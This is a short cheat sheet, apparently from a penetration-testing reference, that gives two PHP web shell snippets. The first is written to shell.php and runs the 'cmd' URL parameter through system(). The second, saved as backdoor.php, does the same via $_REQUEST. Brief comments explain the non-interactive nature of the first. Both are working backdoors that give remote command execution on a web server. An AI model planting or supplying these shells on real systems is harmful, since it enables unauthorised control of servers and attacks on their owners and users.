PHP

FORMAT 1:

root@oco:~$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
 * the system() function which takes the URL parameter
   cmd as an input and executes it as a system command.
   
 * this is a non-interactive shell as it runs a single command per request 
   and returns the result. there's no back-and-forth, ongoing interaction 
   like in a terminal or shell.

FORMAT 2:

root@oco:~$ nano backdoor.php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>